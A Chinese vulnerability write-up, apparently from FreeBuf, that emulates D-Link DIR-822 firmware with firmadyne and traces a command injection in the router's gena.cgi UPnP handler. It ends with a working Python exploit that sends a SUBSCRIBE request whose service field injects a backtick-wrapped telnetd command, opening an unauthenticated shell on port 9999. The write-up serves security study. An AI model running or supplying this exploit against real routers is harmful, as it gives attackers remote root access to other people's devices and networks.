从0叫你iot漏洞挖掘 – 作者:18611187907

1.环境搭建

系统:Ubuntu18.04

固件:DIR822A1_FW103WWb03.bin

使用firmadyne工具运行固件

注意:Firmadyne安装之前,先安装firmware-analysis-toolkit

由于过程比较复杂而且中间有错就会导致最后的失败。所以这里我把安装过程所需要的命令给大家总结了一下。

git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh

”./setup.sh“这个过程比较吃网络,如果网络慢的同学可以出门抽个烟、喝个酒、吃个火锅再回来。

接着找到fat.config文件后修改root密码。

1618814136_607d24b8400d223ef2ee9.png!small

接着安装依赖

sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan

将固件拷贝到firmadyne文件夹下。

1618814179_607d24e34c908bfb6a2af.png!small?1618814178981

重置文件。

rm -rf images*
python3 reset.py

安装配置数据库(由于我这里存在firware,所以database提示存在)

sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema

1618814303_607d255fa8da152ce51c6.png!small

对模拟环境进行配置

./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np-nk "DIR822A1_FW103WWb03.bin" images
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1 mipseb
./scripts/inferNetwork.sh 1 mipseb
./scratch/1/run.sh

1618814336_607d258030116c856d446.png!small

1618814399_607d25bf1301db53d71a3.png!small

1618814424_607d25d83bd1246a4e684.png!small

1618814435_607d25e3d9e5fd1e7da44.png!small

最后打开浏览器输入ip即可访问

1618814462_607d25fe3790bb368370e.png!small

2.漏洞分析

genacgi_main函数是漏洞开始的触发点,通过getenv函数获取“REQUEST_URI”环境变量的内容,接着对其进行验证,最后进入sub_40FCE0。

1618814474_607d260a753af2357c827.png!small

下图是sub_40FCE0函数的内容,在上图中获得的值,最终通过xmldbc_ephp函数发送出去,数据由run.NOTIFY.php进行处理。

1618814482_607d26123be6028c4e979.png!small

该php调用了GENA_subscribe_new函数,并且向里面传递了cgibin中获取到的数据,还传递了SHELL_FILE参数。

1618814490_607d261af069fb02e5d4e.png!small

文件gena.php中是函数GENA_subscribe_new的实现代码。

从代码中我们可以看到该函数并未对shell_file数据进行操作。但是在最后调用了GENA_notify_init函数传入了shell_file。

1618814507_607d262bdf9408d56db73.png!small

接下来在该文件下找到GENA_notify_init函数

第一次调用fwrite的时候创建了文件。

第二次调用fwrite的时候使用了“rm  -f”命令。

1618814516_607d263460ba16f82a256.png!small

到此为止我们的攻击思路大致已经出来了。我们只需要插入一个反引号包裹的系统命令,然后注入到shell脚本中即可。

3.漏洞验证

import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}').format(host=server, port=port)
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    sleep(1)
    print('[*] Sending Payload')
    con.connect((socket.gethostbyname(server),port))
    con.send(request.encode())
    results = con.recv(4096)
    sleep(1)
    print('[*] Running Telnetd Service')
    sleep(1)
    print('[*] Opening Telnet Connection\n')
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')

   
serverInput = raw_input('IP Router: ')

portInput = 49152

httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

1618814621_607d269dc9da5a9f2c887.png!small

来源:freebuf.com 2021-04-19 14:44:44 by: 18611187907

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论